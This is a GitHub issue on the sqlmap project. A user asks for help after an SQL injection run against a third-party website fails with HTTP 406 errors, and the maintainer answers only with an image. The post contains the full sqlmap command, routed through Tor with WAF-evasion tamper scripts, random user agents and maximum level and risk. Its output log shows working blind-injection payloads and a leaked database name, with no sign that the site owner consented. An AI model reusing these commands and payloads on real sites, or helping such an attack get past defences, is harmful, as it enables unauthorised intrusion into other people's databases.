sqlmapproject / sqlmap

Automatic SQL injection and database takeover tool
http://sqlmap.org
Other
30.75k stars 5.55k forks source link

Can someone help me? [WARNING] HTTP error codes detected during run: 406 (Not Acceptable) - 6 times #5701

Closed 4t3nt4d0 closed 1 week ago

4t3nt4d0 commented 2 weeks ago

┌──(don㉿4t3nt4d0)-[~] └─$ sqlmap --tor --check-tor --tor-type=SOCKS5 --tor-port=9150 -u http://www.xxxxxxxxxxxxxxxxxxxxxxx/material.php?id=1 --batch --random-agent --tamper=space2comment --level=5 --risk=3 --threads 10 --no-cast --tamper --drop-set-cookie --dbs -D comxxxxxx_xxxxx --columns

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:45:20 /2024-05-03/

[19:45:20] [WARNING] increasing default value for option '--time-sec' to 10 because switch '--tor' was provided [19:45:20] [INFO] setting Tor SOCKS proxy settings [19:45:20] [INFO] loading tamper module 'space2comment' [19:45:20] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; da) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5' from file '/usr/share/sqlmap/data/txt/user-agents.txt' [19:45:20] [INFO] checking Tor connection [19:45:23] [INFO] Tor is properly being used [19:45:23] [INFO] resuming back-end DBMS 'mysql' [19:45:23] [INFO] testing connection to the target URL [19:45:24] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 4348=4348

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: id=1 AND 2564=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)

[19:45:24] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [19:45:24] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL > 5.0.12 [19:45:24] [INFO] fetching database names [19:45:24] [INFO] fetching number of databases [19:45:25] [INFO] resumed: 2 [19:45:25] [INFO] retrieving the length of query output [19:45:25] [INFO] retrieved: 18 [19:46:09] [INFO] retrieved: information_schema
[19:46:09] [INFO] retrieving the length of query output [19:46:09] [INFO] retrieved: 17 [19:47:04] [INFO] retrieved: comotu_asociacion
available databases [2]: [] xxxxxxxxxxxxxxxxxx [] information_schema

[19:47:04] [INFO] fetching tables for database: 'comotu_asociacion' [19:47:04] [INFO] fetching number of tables for database 'comotu_asociacion' [19:47:04] [INFO] retrieved: [19:47:05] [WARNING] unexpected HTTP code '406' detected. Will use (extra) validation step in similar cases

multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N [19:47:06] [INFO] retrieved: [19:47:06] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [19:47:06] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)

[19:47:09] [WARNING] unable to retrieve the number of tables for database 'comotu_asociacion' [19:47:09] [INFO] fetching number of tables for database 'comotu_asociacion' [19:47:09] [INFO] retrieved: [19:47:10] [WARNING] potential permission problems detected ('command denied')

[19:47:12] [INFO] retrieved: [19:47:15] [ERROR] unable to retrieve the table names for any database do you want to use common table existence check? [y/N/q] N [19:47:15] [CRITICAL] unable to retrieve the tables in database 'comotu_asociacion' [19:47:15] [WARNING] HTTP error codes detected during run: 406 (Not Acceptable) - 6 times [19:47:15] [INFO] fetched data logged to text files under '/home/don/.local/share/sqlmap/output/www.xxxxxxxxxxxxxx'

[*] ending @ 19:47:15 /2024-05-03/

stamparm commented 1 week ago

image

4t3nt4d0 commented 1 week ago

Thanks bro